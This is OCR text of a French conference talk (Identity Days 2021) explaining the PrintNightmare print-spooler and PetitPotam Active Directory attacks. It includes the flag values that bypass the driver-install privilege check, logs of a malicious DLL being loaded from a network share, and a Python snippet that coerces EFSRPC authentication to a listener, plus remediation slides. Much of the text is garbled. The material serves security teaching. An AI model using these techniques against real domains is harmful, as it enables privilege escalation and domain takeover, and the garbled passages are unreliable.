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PrintNightmare




illi DENTITY DAYS

Un service et des fonctions vulnérables

Son nom: Print{ LJ2 2 € SNJ ¢ { LJ2 dz
SonroleY DSNBNIJ f QA YLINS & 3
Son contexte SYSTEM

Utilisable par: Tous les utilisateurs du domain
Son passif CVE20201337, CVR0201070,
CVE20201048, CVR0190683, CVR0102729
Des protocoles MSRPRN, MBAR et le SDK
Des fonctions RpcAddPrinterDrivé)y
RpcAddPrinterDriver)x

RpcAsyncAddPrinterDrivgret QueueSpecific
File

28 octobre 2021 PARIS

L L
= ==
S22 SZUYNE:
E N

ldentity Days 202



ilii IDENTITY DAYS 28 octobre 2021 PARIS

Une belle histoire
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[ QAVAaGlFftflIdA2Y RS RNMAOJSNE
processus sympa

_

‘ 1 : Copie des fichiers dans le répertoire

RpcAddPrinterDriveé)y

\ 2 . Chargementdes DLL

i pDriverPath - pConfigFile
:
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[ QAVaulFftftlriA2Y RS RNMAOJSNAE
Processus sympa

Quelques petits contretemps :
A Les paramétrepConfigFilet pDriverPatme peuvent pas contenir de chemins UNC (Univé&tsahingConvention)

A La copie des fichiers peut poser problémes en cas de conflit
ALt Sad ysSOSaal AdFoaddiverPrizilegd £ S LINA GAf §3S Y

Mais des solutions :
A Le paramétrepDataFiley QF LJ & OS B (EgcutidNBelaSaddiidn 2 §6is
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[ QAVAaGlFftflIdA2Y RS RNMAOJSNE
processus sympa

_

‘ 1 : Copie des fichiers dans le répertoire

RpcAddPrinterDriveé)y

\ 2 . Chargementdes DLL
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illi DENTITY DAYS

[ QAVAaGlFftflIdA2Y RS RNMAOJSNE

processus sympa

™~

‘ 1 : Copie des fichiers dans le répertoire

- RpcAddPrinterDriveé)y

\ 2 . Chargementdes DLL
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[ QAVAaGlFftflIdA2Y RS RNMAOJSNE
processus sympa

Quelques petits contre temps :
A Les paramétrepConfigFilet pDriverPatme peuvent pas contenir de chemin UNC

A La copie des fichiers peut poser problémes
ALt Sald ysSOSaal AdFoadd@VerPiRikgd) £ S LINAGAf §3S Y

Mais des solutions::
A Le paramétrgDataFile/ QI LJ- & OS A& Executidide la$arxiion 2 fgis

A Microsoft a implémenté la fonctiorRpcAddPrinterDriverE)qui rajoute un flag pour gérer la copie
A APD COPY_ALL_FILES
A APD _COPY_FROM_DIRECTORY
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[ QAVAaGlFftflIdA2Y RS RNMAOJSNE
processus sympa

_

‘ 1 : Déplacement et copie des fichiers dans le répertoire

RpcAddPrinterDriverx

v

\ 2 . Chargementdes DLL

__
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[ QAValGlFftflIiA2Y RS RNAOJSNE
Processus sympa

Quelques petits contre temps :
A Les paramétrepConfigFilet pDriverPatme peuvent pas contenir de chemin UNC

A La copie des fichiers peut poser problémes
ALt Sad ysSOSaal AdFoaddiverPrizilegd £ S LINA GAf §3S Y

Mais des solutions :
A Le paramétr@DataFile/ QI LI & OS 4 Ex@cutidhde (a$oactioh 2 fyis
A Microsoft a implémenté la fonctioRpcAddPrinterDriverExqui rajoute un flag pour gérer la copie

A La vérification des priviléges peut étre contournée grace a une valeur spécifique dans le flag :
A APD_COPY_ALL_FIA=8x00000004
A APD_COPY_FROM_ DIRECTRX00000010
A APD_INSTALL_WARNED_ DRWER00008000
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[ QAValGlFftflIiA2Y RS RNAOJSNE
Processus sympa

ﬁ General registers [

RAX 1 % h
REX b

RCX 43CBOF3474770000 % Dans RSI on a la valeur du ftagFileCopyFlag
0x8014A 1000 0000 0001 0100

RDI eBeeaaaa80860888 '
REP G0660020019506880 W "LPSI"

RSP G0GB000BB25AE9D0 & Stack[@#8800644]:80000800825AE9D0 v
BBOB7FFDS8BCFFDSS %W localsnl SnlAddPrinterDriverEx:loc 7FFD8BCFFDS! ¥
R{Tp ocCalsp o FrlNTerurivercx.: Loc N Eﬁ
localspl.dll:@eee87FFDE8BCFFDSS
) ) localspl.dll:8ee87FFDEBCFFDS5 loc 7FFODBBCFFDSS:
Récupere la valeur du bit1b et le met dans Cf Ici 1 localspl.d11:00e07FFD8BCFFDS5[bE esi, orn]
localspl.dll:eeee7FFDEBCFFD59 mov ebx, @
lﬂcalspl.dll:BEFEFEITFFDBEICFFDSEIcmcwnb ebx, [rsp+58h+ar‘g_3Eb:J
Operation qui est executée uniguement si CFA: Pas notre cas |lecalspl.dll:98007FFDSBCFFDEE test  ebx, ebx
localspl.dll:@@807FFD8BCFFDEE jz short loc 7FFDBBCFFD94
|
vl2 = 8;
| if ( ! bittest((const int *)&a4, @xFu) ) |
VIZ = ars;

if { v12 &% !(unsigned int){{ inte4 ( fastcall *)( QWORD, _ inte4, _Q';-.'-D-RDI}unk_?FFDSBCEIBEEI{}{9154, 1i64, Bi64) ) I

return @igd;

return ((__int64 ( fastcall *)(_ int64, QWORD, _ int64, QWORD, _ int64, int, int, QWORD))unk 7FFD8BCFDBES)(
al,
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5SNRdz S RS f QF Gal Ij dzS

[itwasalladream] INFO - 192.168.198.1@9 is vulnerable over MS-PAR. Reason: Host attempted to grab DLL from supplied share

[itwasalladream] vesne — = o L =it NETPATH - The network path s not found.

itwasalladream] INFO - 192. -1 9 is vulnerable over MS5-RPRN Reason: Host attempted to grab DLL from supplied share
\/

3

5SNRdzZ S RS f QS

;e . ,
A Vérification que le serveur est vulnérable 534, Gpoevee 512 BhOssefe  \IS2168.150 14)sham ocala
. . 15:34.... mrspoolsy exe 5112 BACreateFile “W1592.168.198. 141 share\Nocal dil
A C onnexion aen d p oln tR PC 15:34:. . pmspaolsv.exe 5112 [ QueryBasiclnfor...\\192.168.198. 14 T\share local i
A . . . . 15:34:. . pmspoolsv exe 5112 %Closeﬂle “W152.168.158.14 1 share ocal dil
15:34.... m=spoolsy exe 5112 EhCreateFile C:UNCY\192.168.198.14 1 shareNocal dll
Appel de Ia‘ fonCtIOIRpCAddPrlnterDrlver@xpour Copler Ia DLL 15:34.... g%;spoolsv.exe 5112 %CreateFile %4192.168.198. 141 share\Nocal dil
15:34:. . pmspoolsv exe 5112 Ba@ueryBasicInfor...\\192.163.193.141\5hare\docal.dll

malveillante dans le répertOire ®Vindows SyStem3ESpOO'\driver\X64\3 1534, gmespooksvexe 5112 [BhCloseFie \\192,168.198. 14 T\sharc'local dl
A Second appel de la fonction avec comme parampbeverPatie chemin

. 15:34... [;é;spoolsv.exe 5112 %SetBasiclrrforrn... CiWindows\ System 32 spoolhdrivers o643 \New ocal dil
Iocal d e | a D L L m alvel I Iante 15:34:.. g%;spoolsv.exe 5112 Ba(]ueryStandardl...C:\Windows\SystemﬂZ‘spool\drivers\xlEal\B\New\local.dII
W - e ~ A s A 4 15340 Mespoolsv.exe 5112 [BACloseFile CiWindows\ System 32 spoolhdrivers o643 \New ocal dil A
A 9 E $ O d Zu }\ 2 y R S f | 5 [ [ Y I t Q S A f f | y. u 15:34:. . pmspoolsv exe 5112 BaCreateHIe C\Windows'\System 32 spool \drivers'«64 3 \New ocal dl (
15:34.... mrspoolsy exe 5112 BhQueryAttribute T...C-\Windows ' System 32 spool drivers'w64' 3 New local dl h
15:34:. . mmspoolsy exe 5112 BaCIose File C\Windows'\System 32 spool \drivers'«64 3 \New ocal dl
— . _ . 15:34:... pmespoolsv exe 5112 BACreateFile C:Windows '\ System 32 spoaldrivers ‘a6 3\ New ocal dil
= fn spoolsy exe 5 652K 17868 K 6128 Application sous-systéme sp... Microsoft Corporation 15:34:... p=rspoolsv exe 5112 [BACloseFile CA\Windows'\System 32\spool drivers'«64'.3 \New local di
= 07 rundll32 exe 1120K 4592 K 2304 - o
= i " cmd.exe 2064 K 3972K 5608
B ' conhost.exe 6476 K 11420 K 3212

el REBE| YAS B[ A5 HE 0
Time ... Process Name PID  Operation Path
15:34:... pekspoolsv exe 5112 &% Load Image C\Windows'\ System 32 spool drivers'x64' Iocal dll

91 ( https
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Remeédiations

NOT

PrintNightmare b
j EXPLOITABLE

CVE-2021-34527

REMOTELY
EXPLOITABLE

RPC or SMB is
reachable

LOCALLY
EXPLOITABLE

A 4

NOT REMOTELY N
EXPLOITABLE
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Un service AD et un protocole vulnéerable

Son nom: Active Directory Certific&uthority (AD CS)
Son role: PKI, Gestion de certificats...
Son contexte SYSTEM
Utilisable par: Tous (si vers un DC)
Son passif CVE2021-:36942 N
Des protocoles Encryptind-ile SystenRemote(MS
EFSRPC) et Local Secwiyhority(MSLSARPC)
Les fonctions -
- EfsRpcOpenFileRw
- EfsRpcEncryptFile$yv
- EfsRpcDecryptFile$)yv
- EfsRpcQueryUsersOnkK)le
- EfsRpcQueryRecoveryAgdits
- EfsRpcAddUsersToR)le
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Une histoire a suivre
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PetitPotamen guelgues mots

-
:
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PetitPotamen guelgues mots

rpctransport = transport.DCERPCTransportFactory{binding params[pipe]["stringBinding']}
if hasattr{rpctransport, 'set_credentials'}:
rpctransport.set_credentials{username=username, password=password, domain=domain, lmhash=1lmhash, nthash=nthash}
dce = rpctransport.get_dce_rpc()
AUTHN_WINNT)
vel(RP AUTHN_ _PK

] Connecting to %s" % binding_params[pipe]['stringBinding'])

dce.connect()

except Exception as e:
print("Something went wrong, check error status => %s™ % str(e))
sys.exit()

print(”[+] Connected!™)

print( ] Binding to %s" % binding params[pipe][ 'MSRPC_UUID EFSR'][@]}

1. BIND TO RPC

print("Something went wrong, check error status => %s™ % str(e))
sys.exit()
print("[+] Successfully bound!™)

2 API CALL

return dce

EfsRpcOpenFileRaw(self, dce, listener)

print(”[-] Sending EfsRpcOpenFileRaw!")

3. AUTHENTICATION

request = EfsRpcOpenFileRaw()
request['fileName"'] = "\i\\\Es\\test\\Settings.ini\x@@' ¥ listener
request['Flag'] = @
resp = dce.request(request}
T 4_ERROR RESPONSE
F str{e).find('ERROR_BAD_NETPATH') 3= @:

print("[+] Got expected ERROR_BAD_MNETPATH exception!!'}

print(*[+] Attack worked!"}

print("Something went wrong, check error status => %s™ % str(e))
sys.exit()

28 octobre 2021

BIND TO RPC
2.API CALL

.638352

640692
.641068
.645043

.651964

166 Tree Connect Request Tree: \\10.10.20.12\IPC$
138 Tree Connect Response, Error: STATUS_NETWORK_SESSION EXPIRED

10.10.20.12 10.10.20.9 on

.78 . 9 p Resp
211 14.134462 10.10.20.9 10.10.20.12 EFS 198 EfsRpcOpenFileRaw response, Error: WERR_BAD_NETPATH
213 14.1361 10. 2 .10 e isconnect Requ
214 14.

This subsection specifies the syntax of the methods specified by the EFSRPC protocol and how to receive each
one. These calls are received at the well-known endpoint of the named pipe \pipe\lsarpc or \pipe\efsrpc. The
server interface for \pipe\lsarpc MUST be identified by UUID [c681d488-d850-11d0-8c52-00c04fd90f7e] version
1.0. The server interface for \pipe\efsrpc MUST be identified by UUID [df1941c5-fe89-4e79-bf10-463657acf44d],
version 1.0.
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5SNRdz S RS f QSELX 2A0 VY

A Phase de reconnaissance

A Impersonatioravec PetiPotam

A Récupération d'un certificat DC puis Golden Ticket
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